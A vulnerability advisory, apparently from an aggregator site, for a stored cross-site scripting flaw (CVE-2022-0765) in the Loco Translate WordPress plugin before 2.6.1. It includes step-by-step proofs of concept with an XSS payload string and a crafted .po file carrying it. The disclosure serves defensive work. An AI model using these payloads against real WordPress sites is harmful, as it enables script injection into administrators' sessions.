WordPress Loco Translate Plugin < 2.6.1 - Authenticated Stored Cross-Site Scripting Vulnerability. Allows arbitrary javascript payloads in source strings leading to stored XSS
Reporter | Title | Published | Views | Family All 9 |
---|---|---|---|---|
![]() | WordPress Loco Translate Cross Site Scripting | 7 Apr 202200:00 | โ | packetstorm |
![]() | CVE-2022-0765 | 18 Apr 202218:15 | โ | cve |
![]() | CVE-2022-0765 | 18 Apr 202218:15 | โ | nvd |
![]() | WordPress Loco Translate plugin <= 2.6.0 - Authenticated Stored Cross-Site Scripting (XSS) vulnerability | 22 Mar 202200:00 | โ | patchstack |
![]() | Loco Translate < 2.6.1 - Authenticated Stored Cross-Site Scripting | 22 Mar 202200:00 | โ | wpvulndb |
![]() | Cross site scripting | 18 Apr 202218:15 | โ | prion |
![]() | Loco Translate < 2.6.1 - Authenticated Stored Cross-Site Scripting | 22 Mar 202200:00 | โ | wpexploit |
![]() | WordPress Loco Translate plugin่ทจ็ซ่ๆฌๆผๆด | 11 Apr 202200:00 | โ | cnvd |
![]() | CVE-2022-0765 Loco Translate < 2.6.1 - Authenticated Stored Cross-Site Scripting | 18 Apr 202217:10 | โ | cvelist |
Tittle:
WordPress Plugin Loco Translate < 2.6.1 - Authenticated Stored Cross-Site Scripting
References:
CVE-2022-0765
Author:
Taurus Omar
Description:
The plugin does not properly remove inline events from elements in the source translation strings before outputting them in the editor in the plugin admin panel, allowing any user with access to the plugin (Translator and Administrator by default) to add arbitrary javascript payloads to the source strings leading to a stored cross-site scripting (XSS) vulnerability.
Affects Plugins:
loco-translate - Fixed in version 2.6.1
Proof of Concept:
## POC1: via (edit-template)
1.) Got to Plugin Loco Translate
2.) Enter Plugins Options
3.) Enter Edit Template Any Plugin
4.) Add New Message
5.) Edit Message
6.) Replace The Message With The Payload : ">'><details/open/ontoggle=alert('xss')>
7.) Save
8.) Replicated
## POC2 via (example.po)
1.) Got to Plugin Loco Translate
2.) Enter Plugins Options Any Plugin
3.) Upload PO options
3.) Load example.po
Example.po
msgid ""
msgstr ""
"Project-Id-Version: xss-tester\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2022-02-25 03:48+0000\n"
"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
"Last-Translator: FULL NAME <[emailย protected]>\n"
"Language-Team: \n"
"Language: \n"
"Plural-Forms: nplurals=INTEGER; plural=EXPRESSION;\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: Loco https://localise.biz/\n"
"X-Loco-Version: 2.5.8; wp-5.9.1\n"
"X-Domain: xss-tester"
msgid "xss-tester"
msgstr ""
msgid "\">'><details/open/ontoggle=confirm('XSS')>"
msgstr ""
Classification:
Type XSS
OWASP top 10 A7: Cross-Site Scripting (XSS)
CWE-79
wpScan:
https://wpscan.com/vulnerability/58838f51-323d-41e0-8c85-8e113dc2c587
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contactย us for a demo andย discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo